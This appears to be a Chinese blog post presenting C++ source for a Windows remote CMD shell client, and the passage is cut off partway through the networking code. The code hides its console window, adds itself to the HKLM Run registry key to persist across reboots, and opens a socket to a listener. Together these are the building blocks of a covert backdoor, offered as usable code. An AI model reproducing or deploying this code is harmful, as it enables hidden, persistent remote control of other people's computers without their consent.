C++ 远程 shell (cmd)

最新推荐文章于 2025-04-20 16:45:26 发布

intfre

最新推荐文章于 2025-04-20 16:45:26 发布

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分类专栏：通信安全文章标签： shell cmd 远程

本文链接：https://blog.youkuaiyun.com/nibiru_holmes/article/details/49174343

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本文介绍如何使用C++编程实现远程连接并执行Windows的CMD命令，详细讲解客户端（Client）的实现过程，涉及网络通信和命令行交互的关键技术。

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Client:

#include <stdio.h>

#include <Windows.h>
#define SEND_BUFF_SIZE 2048
/*  interfAcer  */
/*欢迎访问我的csdn blog  http://blog.youkuaiyun.com/nibiru_holmes*/
//实现去除执行结果中的 命令字符串+using namespace std; 
#pragma comment (lib,"ws2_32")
#pragma comment (lib,"User32.lib")
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) 
SOCKET s;

void Reg() {
	TCHAR pFileName[MAX_PATH] = "HGH";
	HKEY hWrite;
	DWORD dw = GetModuleFileName(NULL, pFileName, MAX_PATH);

	RegCreateKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL,
		REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, &hWrite, &dw);
	RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hWrite);
	RegSetValueEx(hWrite, "Nibiru Holmes", 0, REG_SZ, (const PBYTE)pFileName, (strlen(pFileName) + 1) * sizeof(TCHAR));



}
void print(char *cmdstr)
{
	while (*((char*)cmdstr++) != '\n');
	printf(cmdstr);
}

/*int Connect() {

	int length = 0;
	int flag = 0;
	WSADATA wsData;
	WSAStartup(MAKEWORD(2, 2), &wsData);

	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

	sockaddr_in sockaddr;
	sockaddr.sin_family = PF_INET;
	sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	sockaddr.sin_port = htons(1000);
	if (!connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR))) {

		flag = 1;
		printf("connected");
	}
	
//	if (send(s, check, strlen(check) + sizeof(char), NULL)) { flag = 1; }
	return flag;
}*/

int Connect()
{
	int length = 0;
	int flag = 0;
	WSADATA wsData;
	WSAStartup(MAKEWORD(2, 2), &wsData);

	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	char check[7] = {"nibiru"};
	sockaddr_in sockaddr;
	sockaddr.sin_family = PF_INET;
	sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    //   115

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